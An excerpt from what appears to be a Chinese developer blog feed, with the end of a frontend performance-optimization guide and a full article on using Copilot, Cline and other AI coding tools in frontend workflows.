const About = lazy(() =&gt; import('./pages/About'));

// 2. 组件级别分割
const HeavyComponent = lazy(() =&gt; import('./HeavyComponent'));

// 3. 第三方库分割
// Vite / Webpack 自动按 node_modules 分割
// 手动配置 vendor chunk
optimization: {
  splitChunks: {
    cacheGroups: {
      vendor: {
        test: /[\/]node_modules[\/]/,
        name: 'vendors',
        chunks: 'all',
      },
    },
  },
}

// 4. 动态 import() 按需加载
button.onclick = async () =&gt; {
  const { heavyFunction } = await import('./heavy-module.js');
  heavyFunction();
};</code></pre>
<h3>2.3 预加载策略</h3>
<pre><code class="language-html">&lt;!-- 1. preload：当前页面必需的资源 --&gt;
&lt;link rel="preload" as="script" href="critical.js"&gt;
&lt;link rel="preload" as="style" href="critical.css"&gt;
&lt;link rel="preload" as="image" href="hero.webp"&gt;

&lt;!-- 2. prefetch：下一页可能需要的资源 --&gt;
&lt;link rel="prefetch" href="next-page.js"&gt;

&lt;!-- 3. preconnect：提前建立连接 --&gt;
&lt;link rel="preconnect" href="https://cdn.example.com"&gt;
&lt;link rel="dns-prefetch" href="https://analytics.example.com"&gt;

&lt;!-- 4. modulepreload：预加载 ES 模块 --&gt;
&lt;link rel="modulepreload" href="module.js"&gt;</code></pre>
<h3>2.4 CDN 与缓存策略</h3>
<pre><code class="language-nginx"># Nginx 缓存配置示例
location ~* \.(jpg|jpeg|png|gif|ico|css|js|woff2?)$ {
  expires 30d;
  add_header Cache-Control "public, immutable";
  add_header Vary "Accept-Encoding";
}

# HTML 不缓存
location ~* \.html$ {
  expires -1;
  add_header Cache-Control "no-cache, no-store, must-revalidate";
}

# CDN 选择建议：
# - 国内：阿里云 CDN、腾讯云 CDN、七牛云
# - 国际：Cloudflare、AWS CloudFront、Fastly
# - 动态内容：考虑边缘计算（Cloudflare Workers）</code></pre>
<hr />
<h2>三、渲染性能优化：让页面更流畅</h2>
<h3>3.1 减少重排（Reflow）与重绘（Repaint）</h3>
<pre><code class="language-javascript">// ❌ 差：多次读取布局属性，触发多次重排
element.style.width = '100px';
const height = element.offsetHeight;  // 强制重排
element.style.height = height + 'px';

// ✅ 好：批量修改样式
element.style.cssText = 'width: 100px; height: 200px;';

// 或使用 DocumentFragment
const fragment = document.createDocumentFragment();
for (let i = 0; i &lt; 100; i++) {
  const li = document.createElement('li');
  li.textContent = `Item ${i}`;
  fragment.appendChild(li);
}
ul.appendChild(fragment);  // 只触发一次重排

// 使用 CSS transform 代替 top/left
// ✅ transform 不触发重排
element.style.transform = 'translate(100px, 100px)';
// ❌ 会触发重排
element.style.left = '100px';
element.style.top = '100px';</code></pre>
<h3>3.2 CSS Containment</h3>
<pre><code class="language-css">/* 隔离组件样式，减少计算范围 */
.component {
  contain: layout style paint;
}

/* contain: layout - 子元素不影响外部布局 */
/* contain: style - 子元素样式不影响外部 */
/* contain: paint - 子元素不溢出容器 */
/* contain: size - 元素尺寸独立于内容 */

/* 适用场景：复杂组件、第三方 widget、广告容器 */</code></pre>
<h3>3.3 虚拟列表（Virtual Scrolling）</h3>
<pre><code class="language-javascript">// 长列表优化：只渲染可见区域
import { FixedSizeList } from 'react-window';

function Row({ index, style }) {
  return &lt;div style={style}&gt;Item {index}&lt;/div&gt;;
}

function VirtualList() {
  return (
    &lt;FixedSizeList
      height={600}
      itemCount={10000}
      itemSize={50}
      width="100%"
    &gt;
      {Row}
    &lt;/FixedSizeList&gt;
  );
}

// 类似库：react-virtualized, vue-virtual-scroller</code></pre>
<h3>3.4 图片优化最佳实践</h3>
<pre><code class="language-html">&lt;!-- 1. 响应式图片 --&gt;
&lt;picture&gt;
  &lt;source media="(min-width: 1200px)" srcset="large.webp"&gt;
  &lt;source media="(min-width: 768px)" srcset="medium.webp"&gt;
  &lt;img src="small.webp" alt="描述" loading="lazy"&gt;
&lt;/picture&gt;

&lt;!-- 2. 懒加载 --&gt;
&lt;img src="placeholder.jpg" 
     data-src="real-image.jpg" 
     loading="lazy"
     alt="描述"&gt;

&lt;!-- 3. 使用现代格式 --&gt;
&lt;!-- WebP：兼容性最好，体积 -25% --&gt;
&lt;!-- AVIF：体积 -50%，兼容性稍差 --&gt;
&lt;!-- JPEG XL：未来趋势，兼容性待提升 --&gt;

&lt;!-- 4. 模糊占位（Blurhash / LQIP） --&gt;
&lt;div class="image-container"&gt;
  &lt;img src="blurhash-placeholder.jpg" class="blur"&gt;
  &lt;img src="real-image.jpg" class="real" onload="this.classList.add('loaded')"&gt;
&lt;/div&gt;</code></pre>
<hr />
<h2>四、JavaScript 性能优化</h2>
<h3>4.1 避免内存泄漏</h3>
<pre><code class="language-javascript">// 1. 及时清理事件监听器
class Component {
  constructor() {
    this.handler = () =&gt; console.log('clicked');
    button.addEventListener('click', this.handler);
  }

  destroy() {
    button.removeEventListener('click', this.handler);  // ✅ 必须清理
  }
}

// 2. 清理定时器
const timer = setInterval(() =&gt; {}, 1000);
clearInterval(timer);  // ✅ 组件卸载时清理

// 3. 避免闭包导致的内存泄漏
function setup() {
  const largeData = new Array(1000000).fill('x');
  element.onclick = () =&gt; {
    console.log('clicked');  // ✅ 不引用 largeData
  };
  // ❌ 错误：onclick 引用了 largeData
  // element.onclick = () =&gt; console.log(largeData.length);
}

// 4. 使用 WeakMap / WeakSet
const cache = new WeakMap();  // 键会被垃圾回收
cache.set(object, value);

// 5. React useEffect 清理
useEffect(() =&gt; {
  const subscription = subscribe();
  return () =&gt; subscription.unsubscribe();  // ✅ 清理函数
}, []);</code></pre>
<h3>4.2 使用 RequestAnimationFrame</h3>
<pre><code class="language-javascript">// ❌ 差：使用 setTimeout 做动画
setTimeout(() =&gt; {
  element.style.left = position + 'px';
}, 16);

// ✅ 好：使用 requestAnimationFrame
function animate() {
  element.style.left = position + 'px';
  position += 1;
  if (position &lt; 500) {
    requestAnimationFrame(animate);
  }
}
requestAnimationFrame(animate);

// 优势：
// - 与浏览器刷新率同步（通常 60fps）
// - 页面不可见时自动暂停
// - 避免掉帧</code></pre>
<h3>4.4 React 19 Compiler 自动优化</h3>
<p><strong>2026 年重大更新</strong>：React 19 引入了 <strong>React Compiler</strong>，自动进行 useMemo/useCallback 优化。</p>
<pre><code class="language-javascript">// React 18 及之前：需要手动 memo
function Component({ items, onSelect }) {
  const handleClick = useCallback((item) =&gt; {
    onSelect(item);
  }, [onSelect]);  // 手动管理依赖

  return (
    &lt;div&gt;
      {items.map(item =&gt; (
        &lt;Item key={item.id} onClick={handleClick} /&gt;
      ))}
    &lt;/div&gt;
  );
}

// React 19 + Compiler：自动优化，无需手动 memo
function Component({ items, onSelect }) {
  const handleClick = (item) =&gt; {
    onSelect(item);  // Compiler 自动添加 memo
  };

  return (
    &lt;div&gt;
      {items.map(item =&gt; (
        &lt;Item key={item.id} onClick={handleClick} /&gt;
      ))}
    &lt;/div&gt;
  );
}

// 如需禁用自动优化（性能分析后）
'use no memo';  // Compiler 指令
function manualOptimization() {
  // 这个函数不会被自动 memo
}</code></pre>
<p><strong>启用 React Compiler</strong>：</p>
<pre><code class="language-bash"># Vite 项目
npm install babel-plugin-react-compiler</code></pre>
<pre><code class="language-javascript">// vite.config.js
export default {
  plugins: [
    react({
      babel: {
        plugins: [['babel-plugin-react-compiler']],
      },
    }),
  ],
}</code></pre>
<p><strong>性能提升</strong>：根据 React 团队测试，启用 Compiler 后：</p>
<ul>
<li>渲染性能提升 <strong>30-50%</strong></li>
<li>代码量减少 <strong>40%</strong>（无需手动 useMemo/useCallback）</li>
<li>开发体验大幅改善</li>
</ul>
<p>⚠️ <strong>注意</strong>：Compiler 还在 RC 阶段，生产环境建议谨慎使用。</p>
<h3>4.3 优化数组操作</h3>
<pre><code class="language-javascript">// 1. 避免在循环中创建函数
// ❌ 差
for (let i = 0; i &lt; arr.length; i++) {
  arr[i].handler = function() {};  // 每次创建新函数
}

// ✅ 好
function handler() {}
for (let i = 0; i &lt; arr.length; i++) {
  arr[i].handler = handler;  // 引用同一函数
}

// 2. 使用合适的方法
// 小数组：for 循环最快
// 大数组：forEach / map 更简洁
// 过滤：filter 比 splice 好
// 查找：find / findIndex 比 filter[0] 好

// 3. 避免不必要的数组拷贝
// ❌ 差
const copy = arr.slice();
const copy2 = [...arr];

// ✅ 好：原地操作（如果可以）
arr.push(item);
arr.pop();</code></pre>
<hr />
<h2>五、性能监控与分析工具</h2>
<h3>5.1 Lighthouse</h3>
<pre><code class="language-bash"># Chrome DevTools 内置
# 或使用 CLI
npm install -g lighthouse
lighthouse https://example.com --view

# CI/CD 集成
lighthouse https://example.com   --output=json   --output-path=./lighthouse-report.json   --thresholds.performance=90</code></pre>
<h3>5.2 Chrome DevTools Performance</h3>
<p><strong>使用步骤</strong>：</p>
<ol>
<li>打开 DevTools → Performance 面板</li>
<li>点击录制按钮</li>
<li>执行用户操作（加载、交互）</li>
<li>停止录制，分析火焰图</li>
</ol>
<p><strong>关键指标</strong>：</p>
<ul>
<li>FPS（Frames Per Second）：应 &gt; 60</li>
<li>CPU 使用率：避免长任务</li>
<li>网络请求：识别阻塞资源</li>
</ul>
<h3>5.3 Web Vitals 库</h3>
<pre><code class="language-javascript">// 安装
npm install web-vitals

// 使用
import { onLCP, onINP, onCLS } from 'web-vitals';

onLCP(console.log);
onINP(console.log);
onCLS(console.log);

// 上报到分析服务
onLCP(({ value }) =&gt; {
  gtag('event', 'LCP', {
    value: value,
    custom_metric_type: 'distribution',
  });
});</code></pre>
<h3>5.4 性能预算（Performance Budget）</h3>
<pre><code class="language-json">// budget.json
[
  {
    "path": "/*",
    "resourceSizes": [
      {
        "resourceType": "script",
        "budget": 300
      },
      {
        "resourceType": "stylesheet",
        "budget": 100
      },
      {
        "resourceType": "image",
        "budget": 500
      }
    ],
    "resourceCounts": [
      {
        "resourceType": "total",
        "budget": 50
      }
    ]
  }
]

// Lighthouse 集成
lighthouse --budget-path=budget.json</code></pre>
<hr />
<h2>六、实战案例：电商首页优化</h2>
<h3>6.1 优化前</h3>
<table>
<thead>
<tr>
<th>指标</th>
<th>数值</th>
<th>评级</th>
</tr>
</thead>
<tbody>
<tr>
<td>LCP</td>
<td>4.8s</td>
<td>🔴</td>
</tr>
<tr>
<td>INP</td>
<td>380ms</td>
<td>🟡</td>
</tr>
<tr>
<td>CLS</td>
<td>0.35</td>
<td>🔴</td>
</tr>
<tr>
<td>首屏体积</td>
<td>2.8MB</td>
<td>🔴</td>
</tr>
<tr>
<td>加载时间</td>
<td>6.2s</td>
<td>🔴</td>
</tr>
</tbody>
</table>
<h3>6.2 优化措施</h3>
<p><strong>1. 图片优化</strong></p>
<ul>
<li>全部转为 WebP 格式</li>
<li>实现响应式图片（srcset）</li>
<li>非首屏图片懒加载</li>
<li>使用 Blurhash 占位</li>
</ul>
<p><strong>2. 代码优化</strong></p>
<ul>
<li>路由级别代码分割</li>
<li>第三方库按需引入（lodash-es）</li>
<li>移除未使用 CSS（PurgeCSS）</li>
</ul>
<p><strong>3. 加载策略</strong></p>
<ul>
<li>关键 CSS 内联</li>
<li>预加载首屏图片</li>
<li>CDN 全站加速</li>
</ul>
<p><strong>4. 渲染优化</strong></p>
<ul>
<li>商品列表虚拟化</li>
<li>使用 CSS containment</li>
<li>动画使用 transform</li>
</ul>
<h3>6.3 优化后</h3>
<table>
<thead>
<tr>
<th>指标</th>
<th>数值</th>
<th>提升</th>
<th>评级</th>
</tr>
</thead>
<tbody>
<tr>
<td>LCP</td>
<td>1.9s</td>
<td>-60%</td>
<td>🟢</td>
</tr>
<tr>
<td>INP</td>
<td>120ms</td>
<td>-68%</td>
<td>🟢</td>
</tr>
<tr>
<td>CLS</td>
<td>0.05</td>
<td>-86%</td>
<td>🟢</td>
</tr>
<tr>
<td>首屏体积</td>
<td>480KB</td>
<td>-83%</td>
<td>🟢</td>
</tr>
<tr>
<td>加载时间</td>
<td>2.1s</td>
<td>-66%</td>
<td>🟢</td>
</tr>
</tbody>
</table>
<p><strong>业务影响</strong>：</p>
<ul>
<li>跳出率：-28%</li>
<li>转化率：+15%</li>
<li>平均停留时长：+22%</li>
</ul>
<hr />
<h2>七、性能优化检查清单</h2>
<h3>加载性能</h3>
<ul>
<li>[ ] 启用 Gzip/Brotli 压缩</li>
<li>[ ] 配置 CDN 和缓存策略</li>
<li>[ ] 图片使用 WebP/AVIF 格式</li>
<li>[ ] 实现图片懒加载</li>
<li>[ ] 预加载关键资源</li>
<li>[ ] 代码分割（路由 + 组件）</li>
<li>[ ] 移除未使用代码（Tree Shaking）</li>
</ul>
<h3>渲染性能</h3>
<ul>
<li>[ ] 使用 CSS transform 代替位置属性</li>
<li>[ ] 避免布局抖动（批量读取/写入）</li>
<li>[ ] 长列表虚拟化</li>
<li>[ ] 使用 CSS containment</li>
<li>[ ] 指定图片/视频尺寸</li>
</ul>
<h3>JavaScript 优化</h3>
<ul>
<li>[ ] 防抖/节流处理高频事件</li>
<li>[ ] 使用 requestAnimationFrame 做动画</li>
<li>[ ] 清理定时器/事件监听器</li>
<li>[ ] 避免内存泄漏</li>
<li>[ ] Web Workers 处理重计算</li>
</ul>
<h3>监控与分析</h3>
<ul>
<li>[ ] 集成 Web Vitals 监控</li>
<li>[ ] 定期运行 Lighthouse</li>
<li>[ ] 设置性能预算</li>
<li>[ ] 建立性能回归检测</li>
</ul>
<hr />
<h2>总结</h2>
<p>前端性能优化是一个<strong>持续的过程</strong>，不是一次性的任务。建议：</p>
<ol>
<li><strong>建立基线</strong>：用 Lighthouse 跑分，确定当前水平</li>
<li><strong>设定目标</strong>：根据业务需求制定性能预算</li>
<li><strong>持续监控</strong>：集成 Web Vitals 到生产环境</li>
<li><strong>回归检测</strong>：CI/CD 中加入性能检查</li>
<li><strong>迭代优化</strong>：每次发布前评估性能影响</li>
</ol>
<p><strong>记住</strong>：性能优化不是为了追求满分，而是为了<strong>更好的用户体验</strong>和<strong>更高的业务转化</strong>。</p>
<hr />
<p><em>参考资料</em>：</p>
<ul>
<li><a href="https://web.dev/vitals/">Google Web Vitals</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/Performance">MDN 性能优化指南</a></li>
<li><a href="https://web.dev/performance/">Web.dev 性能优化</a></li>
<li><a href="https://developer.chrome.com/docs/devtools/performance/">Chrome DevTools 性能分析</a></li>
</ul>
<p><em>你的项目性能如何？有什么优化经验？欢迎在评论区交流！</em></p>]]></description>
    <pubDate>Thu, 09 Apr 2026 10:12:09 +0800</pubDate>
    <dc:creator>删库在逃程序员</dc:creator>
    <guid>http://blog.kaiyu.work/?post=44</guid>
</item>
<item>
    <title>AI 辅助前端开发实战：Copilot、Cline 与 Agent 工作流</title>
    <link>http://blog.kaiyu.work/?post=45</link>
    <description><![CDATA[<h1>AI 辅助前端开发实战：Copilot、Cline 与 Agent 工作流</h1>
<blockquote>
<p><strong>预计阅读时间：20 分钟</strong> | <strong>适合人群：所有前端开发者</strong></p>
</blockquote>
<p>2025 年，AI 已经不再是&quot;未来趋势&quot;，而是<strong>前端开发的标配工具</strong>。GitHub 数据显示：</p>
<ul>
<li><strong>55%</strong> 的代码由 AI 生成或辅助完成</li>
<li>使用 Copilot 的开发者效率提升 <strong>40%+</strong></li>
<li><strong>80%</strong> 的前端团队已集成 AI 工具到工作流</li>
</ul>
<p>这篇文章，我们系统讲解 AI 工具在前端开发中的实战应用，从代码补全到自主 Agent，帮你构建高效的 AI 工作流。</p>
<hr />
<h2>一、AI 编码工具全景图</h2>
<h3>1.1 主流工具对比</h3>
<table>
<thead>
<tr>
<th>工具</th>
<th>类型</th>
<th>价格</th>
<th>核心能力</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>GitHub Copilot</strong></td>
<td>代码补全</td>
<td>$10/月</td>
<td>上下文感知、多语言支持</td>
</tr>
<tr>
<td><strong>Copilot Chat</strong></td>
<td>对话助手</td>
<td>包含</td>
<td>代码解释、重构建议</td>
</tr>
<tr>
<td><strong>Cline</strong></td>
<td>自主 Agent</td>
<td>免费</td>
<td>文件操作、命令执行</td>
</tr>
<tr>
<td><strong>Cursor</strong></td>
<td>AI 编辑器</td>
<td>$20/月</td>
<td>深度集成、项目理解</td>
</tr>
<tr>
<td><strong>Codeium</strong></td>
<td>代码补全</td>
<td>免费</td>
<td>无限补全、企业版</td>
</tr>
<tr>
<td><strong>通义灵码</strong></td>
<td>代码补全</td>
<td>免费</td>
<td>中文优化、阿里生态</td>
</tr>
<tr>
<td><strong>CodeWhisperer</strong></td>
<td>代码补全</td>
<td>免费</td>
<td>AWS 集成、安全扫描</td>
</tr>
</tbody>
</table>
<h3>1.2 选择建议</h3>
<p><strong>个人开发者</strong>：</p>
<ul>
<li>首选：GitHub Copilot（功能最全）</li>
<li>备选：Codeium（免费无限）</li>
</ul>
<p><strong>企业团队</strong>：</p>
<ul>
<li>首选：Copilot Business（代码隐私保护）</li>
<li>备选：Codeium Enterprise（自部署）</li>
</ul>
<p><strong>国内开发者</strong>：</p>
<ul>
<li>首选：通义灵码（中文优化、网络稳定）</li>
<li>备选：Copilot（需网络环境）</li>
</ul>
<hr />
<h2>二、GitHub Copilot 实战技巧</h2>
<h3>2.1 高效代码补全</h3>
<pre><code class="language-javascript">// 技巧 1：写注释描述意图，让 AI 生成代码
// 防抖函数：delay 毫秒后才执行，期间重复调用会重置计时器
function debounce(fn, delay) {
  // Copilot 会自动补全完整实现
  let timer = null;
  return function(...args) {
    clearTimeout(timer);
    timer = setTimeout(() =&gt; fn.apply(this, args), delay);
  };
}

// 技巧 2：定义函数签名，让 AI 实现逻辑
/**
 * 深拷贝对象，支持循环引用
 * @param {Object} obj - 要拷贝的对象
 * @param {WeakMap} hash - 缓存循环引用
 * @returns {Object} - 拷贝后的对象
 */
function deepClone(obj, hash = new WeakMap()) {
  // Copilot 生成完整实现
}

// 技巧 3：使用自然语言描述
// TODO: 实现一个函数，将数组按指定大小分块
// 示例：chunk([1,2,3,4,5], 2) =&gt; [[1,2],[3,4],[5]]
function chunk(array, size) {
  // AI 理解注释生成代码
}</code></pre>
<h3>2.2 Copilot Chat 高级用法</h3>
<pre><code>// 1. 代码解释：选中代码，问"解释这段代码"
// 适合阅读开源项目、遗留代码

// 2. 代码重构：选中代码，问"如何优化这段代码"
// AI 会给出性能、可读性、最佳实践建议

// 3. 生成测试：选中函数，问"为这个函数生成单元测试"
// 支持 Jest、Vitest、Mocha 等框架

// 4. 查找问题：问"为什么这个 useEffect 会无限循环"
// AI 分析依赖数组和闭包问题

// 5. 学习新技术：问"用 Vue 3 Composition API 重写这个组件"
// AI 帮助技术栈迁移</code></pre>
<h3>2.3 实战案例：快速生成 CRUD 组件</h3>
<pre><code>提示词示例：

"创建一个 React 用户管理组件，包含以下功能：
1. 用户列表展示（表格形式）
2. 搜索功能（按姓名、邮箱）
3. 分页（每页 10 条）
4. 添加/编辑/删除用户
5. 表单验证（姓名必填、邮箱格式）
6. 使用 TypeScript
7. 使用 Ant Design 组件库"

Copilot 会生成：
- 完整的组件结构
- 类型定义
- API 调用逻辑
- 表单验证
- 样式代码</code></pre>
<hr />
<h2>三、Cline：自主 AI Agent 实战</h2>
<h3>3.1 什么是 Cline？</h3>
<p>Cline 是一个<strong>自主 AI Agent</strong>，不同于 Copilot 的被动补全，它可以：</p>
<ul>
<li>✅ 自主读取/编辑文件</li>
<li>✅ 执行终端命令</li>
<li>✅ 多步骤任务规划</li>
<li>✅ 错误自我修正</li>
</ul>
<h3>3.2 安装与配置</h3>
<pre><code class="language-bash"># VS Code 扩展商店搜索 "Cline" 安装
# 或访问：https://cline.bot

# 配置 API Key（支持多个模型）
- OpenAI: gpt-4o, gpt-4-turbo
- Anthropic: claude-3.5-sonnet, claude-3-opus
- 本地模型：Ollama + llama3.1

# 推荐配置
模型：claude-3.5-sonnet（代码能力最强）
自动批准：读取文件、查看目录
手动批准：写入文件、执行命令</code></pre>
<h3>3.3 实战场景</h3>
<h4>场景 1：项目脚手架搭建</h4>
<pre><code>用户指令：
"创建一个 Vite + React + TypeScript 项目，配置以下功能：
1. ESLint + Prettier 代码规范
2. Husky + lint-staged Git Hooks
3. Vitest + React Testing Library 测试
4. Tailwind CSS 样式
5. 项目结构按功能模块组织"

Cline 执行：
1. 运行 npm create vite@latest
2. 安装依赖
3. 创建配置文件
4. 编写示例代码
5. 初始化 Git 仓库</code></pre>
<h4>场景 2：批量重构</h4>
<pre><code>用户指令：
"将 src/components 目录下所有 class 组件重构为函数组件，
使用 React Hooks，保持功能不变"

Cline 执行：
1. 扫描所有 class 组件
2. 逐个转换为函数组件
3. this.state → useState
4. 生命周期 → useEffect
5. 运行测试验证</code></pre>
<h4>场景 3：Bug 修复</h4>
<pre><code>用户指令：
"修复这个内存泄漏问题：用户离开页面后，定时器仍在运行"

Cline 执行：
1. 分析代码定位问题
2. 找到未清理的 setInterval
3. 在 useEffect 清理函数中添加 clearInterval
4. 检查其他类似模式
5. 生成修复报告</code></pre>
<h3>3.4 最佳实践</h3>
<pre><code class="language-yaml"># ✅ 适合交给 Cline 的任务
- 项目初始化配置
- 批量文件操作
- 代码格式统一
- 测试用例生成
- 文档编写
- 依赖升级

# ⚠️ 需要监督的任务
- 核心业务逻辑
- 安全相关代码
- 性能敏感代码
- 第三方集成

# ❌ 不适合的任务
- 需要业务理解的决策
- 创意性工作
- 涉及敏感数据的操作</code></pre>
<hr />
<h2>四、AI 工作流设计</h2>
<h3>4.1 个人开发者工作流</h3>
<pre><code>┌─────────────────────────────────────────────────────┐
│  1. 需求分析                                         │
│     └─ 用 Copilot Chat 梳理技术方案                   │
└─────────────────────────────────────────────────────┘
                          ↓
┌─────────────────────────────────────────────────────┐
│  2. 项目搭建                                         │
│     └─ 用 Cline 创建脚手架和配置                      │
└─────────────────────────────────────────────────────┘
                          ↓
┌─────────────────────────────────────────────────────┐
│  3. 编码开发                                         │
│     └─ Copilot 代码补全 + Chat 解答疑问               │
└─────────────────────────────────────────────────────┘
                          ↓
┌─────────────────────────────────────────────────────┐
│  4. 代码审查                                         │
│     └─ Copilot Chat 审查代码质量、提出改进建议         │
└─────────────────────────────────────────────────────┘
                          ↓
┌─────────────────────────────────────────────────────┐
│  5. 测试生成                                         │
│     └─ Copilot 生成单元测试 + Cline 运行测试           │
└─────────────────────────────────────────────────────┘
                          ↓
┌─────────────────────────────────────────────────────┐
│  6. 文档编写                                         │
│     └─ Cline 生成 README + API 文档                   │
└─────────────────────────────────────────────────────┘</code></pre>
<h3>4.2 团队协作工作流</h3>
<pre><code class="language-markdown">## 晨会
- AI 生成昨日代码变更摘要
- AI 分析潜在冲突和风险

## 开发
- 统一使用 Copilot 企业版（代码不用于训练）
- 复杂功能用 Cline 生成初稿，人工优化
- Chat 记录共享到团队知识库

## Code Review
- AI 初审：代码规范、潜在 bug
- 人工复审：业务逻辑、架构设计

## 测试
- AI 生成测试用例（覆盖率目标 80%+）
- AI 分析测试报告，定位失败原因

## 部署
- AI 生成变更日志
- AI 监控部署后指标</code></pre>
<hr />
<h2>五、提示词（Prompt）工程</h2>
<h3>5.1 高质量提示词模板</h3>
<pre><code class="language-markdown">## 角色设定
"你是一位资深前端工程师，精通 React、TypeScript 和性能优化"

## 任务描述
"创建一个用户列表组件，支持以下功能：
- 虚拟滚动（10000+ 数据流畅）
- 多列排序
- 筛选搜索
- 批量操作"

## 约束条件
"- 使用 TypeScript
- 使用 React Window 虚拟化
- 遵循 React 最佳实践
- 代码要有注释"

## 输出格式
"- 先给出设计思路
- 再提供完整代码
- 最后说明使用示例"</code></pre>
<h3>5.2 常见场景提示词</h3>
<pre><code class="language-javascript">// 1. 代码优化
"优化这段代码的性能，指出具体改进点和原因"

// 2. 技术选型
"对比 Zustand、Redux、Jotai 三种状态管理方案，
在中小型项目中应该选择哪个？给出理由"

// 3. 错误排查
"这个 React 警告是什么意思：
'Cannot update during an existing state transition'
如何修复？"

// 4. 学习新技术
"用通俗易懂的方式解释 React Server Components，
它解决了什么问题？和传统组件有什么区别？"

// 5. 代码转换
"将这个 jQuery 代码重构为原生 JavaScript，
使用现代 ES6+ 语法"</code></pre>
<h3>5.3 避免的提示词</h3>
<pre><code class="language-javascript">// ❌ 太模糊
"写个好的代码"

// ✅ 具体明确
"写一个防抖函数，delay 参数单位毫秒，
返回的函数在 delay 毫秒内重复调用会重置计时器"

// ❌ 太大
"帮我做个电商网站"

// ✅ 拆分任务
"第一步：创建商品列表组件，支持分页和筛选"
"第二步：创建商品详情组件，支持图片轮播"
"第三步：创建购物车组件，支持数量增减"</code></pre>
<hr />
<h2>六、AI 安全与隐私</h2>
<h3>6.1 代码隐私保护</h3>
<pre><code class="language-yaml"># 企业版必须配置
GitHub Copilot Business:
  - 代码不用于训练
  - 数据保留策略
  - 访问控制

# 敏感信息处理
- 不要在代码中硬编码密钥
- 使用环境变量
- AI 生成的代码要审查是否有密钥泄露

# 开源代码注意
- AI 可能生成 GPL 许可的代码
- 商业项目要检查许可证兼容性</code></pre>
<h3>6.2 代码质量把控</h3>
<pre><code class="language-markdown">## AI 生成代码的风险

1. **看似正确，实际有 bug**
   - 边界条件处理不当
   - 异步逻辑错误
   - 内存泄漏

2. **过度工程化**
   - 引入不必要的复杂度
   - 使用不常见的模式

3. **安全漏洞**
   - XSS 风险
   - CSRF 风险
   - 注入攻击

## 必须人工审查的点

- ✅ 所有对外接口
- ✅ 用户输入处理
- ✅ 认证授权逻辑
- ✅ 支付相关代码
- ✅ 数据处理逻辑</code></pre>
<hr />
<h2>七、实战案例：AI 从零到一构建项目</h2>
<h3>7.1 项目背景</h3>
<p><strong>目标</strong>：3 天内完成一个任务管理应用（类似 Trello）</p>
<p><strong>技术栈</strong>：</p>
<ul>
<li>Next.js 14（App Router）</li>
<li>TypeScript</li>
<li>Tailwind CSS</li>
<li>Prisma + PostgreSQL</li>
<li>NextAuth 认证</li>
</ul>
<h3>7.2 开发过程</h3>
<h4>Day 1：项目搭建 + 核心功能</h4>
<pre><code class="language-bash"># 1. Cline 创建项目
"创建 Next.js 14 项目，配置 TypeScript、Tailwind、Prisma"

# 2. Cline 创建数据库模型
"创建 User、Project、Task 三个模型，包含以下字段：
- User: id, email, name, avatar
- Project: id, name, description, ownerId, members
- Task: id, title, description, status, assigneeId, projectId"

# 3. Copilot 编写 API 路由
# 自动生成 CRUD 接口

# 4. Copilot 编写认证逻辑
# NextAuth 配置 + JWT</code></pre>
<h4>Day 2：前端界面</h4>
<pre><code class="language-javascript">// 1. Copilot 生成布局组件
"创建 Dashboard 布局，包含侧边栏导航和顶部用户菜单"

// 2. Copilot 生成看板组件
"创建 Kanban 看板，支持拖拽任务，使用 dnd-kit"

// 3. Copilot 生成任务卡片
"创建任务卡片组件，显示标题、标签、负责人、截止日期"

// 4. Cline 批量创建页面
"创建以下页面：/dashboard, /projects/[id], /tasks/[id]"</code></pre>
<h4>Day 3：优化 + 测试</h4>
<pre><code class="language-bash"># 1. Copilot 生成测试
"为所有 API 路由生成 Jest 测试用例"

# 2. Cline 运行测试并修复
"运行测试，修复所有失败的用例"

# 3. Copilot 优化性能
"分析这个项目的性能瓶颈，给出优化建议"

# 4. Cline 生成文档
"创建 README.md，包含项目介绍、安装步骤、使用说明"</code></pre>
<h3>7.3 结果对比</h3>
<table>
<thead>
<tr>
<th>指标</th>
<th>传统开发</th>
<th>AI 辅助</th>
<th>提升</th>
</tr>
</thead>
<tbody>
<tr>
<td>开发时间</td>
<td>10 天</td>
<td>3 天</td>
<td>-70%</td>
</tr>
<tr>
<td>代码行数</td>
<td>3000+</td>
<td>2500+</td>
<td>-17%</td>
</tr>
<tr>
<td>Bug 数量</td>
<td>25+</td>
<td>12</td>
<td>-52%</td>
</tr>
<tr>
<td>测试覆盖</td>
<td>60%</td>
<td>85%</td>
<td>+42%</td>
</tr>
<tr>
<td>文档完整度</td>
<td>低</td>
<td>高</td>
<td>+100%</td>
</tr>
</tbody>
</table>
<hr />
<h2>八、未来趋势</h2>
<h3>8.1 AI 发展方向</h3>
<pre><code class="language-markdown">## 2026 年趋势

1. **多模态 AI**
   - 截图 → 代码
   - 设计稿 → 组件
   - 语音 → 功能

2. **自主 Agent**
   - 独立完成复杂任务
   - 多 Agent 协作
   - 长期记忆

3. **项目级理解**
   - 理解整个代码库
   - 跨文件重构
   - 架构建议

4. **实时协作**
   - 多人 + AI 协同编码
   - 实时代码审查
   - 智能冲突解决</code></pre>
<h3>8.2 前端工程师的核心竞争力</h3>
<pre><code class="language-markdown">## AI 无法替代的能力

1. **业务理解**
   - 需求分析
   - 用户洞察
   - 商业思维

2. **架构设计**
   - 技术选型
   - 系统规划
   - 性能优化

3. **创新思维**
   - 新产品创意
   - 用户体验设计
   - 技术突破

4. **团队协作**
   - 沟通协调
   - 知识分享
   - 人才培养

## 建议

- ✅ 把 AI 当助手，不是替代品
- ✅ 专注高价值工作
- ✅ 持续学习新技术
- ✅ 培养 AI 无法替代的能力</code></pre>
<hr />
<h2>总结</h2>
<p>AI 不是要取代前端工程师，而是<strong>放大你的能力</strong>。关键在于：</p>
<ol>
<li><strong>选对工具</strong>：根据需求选择合适的 AI 工具</li>
<li><strong>掌握技巧</strong>：学会写高质量提示词</li>
<li><strong>设计工作流</strong>：将 AI 融入开发流程</li>
<li><strong>保持审查</strong>：AI 生成代码必须人工审查</li>
<li><strong>持续学习</strong>：AI 在进化，你也要进化</li>
</ol>
<p><strong>记住</strong>：AI 是副驾驶，你才是机长。🚀</p>
<hr />
<p><em>参考资料</em>：</p>
<ul>
<li><a href="https://docs.github.com/copilot">GitHub Copilot 文档</a></li>
<li><a href="https://cline.bot">Cline 官方文档</a></li>
<li><a href="https://cursor.sh">Cursor 编辑器</a></li>
<li><a href="https://github.blog/ai-coding-best-practices">AI 编码最佳实践</a></li>
</ul>
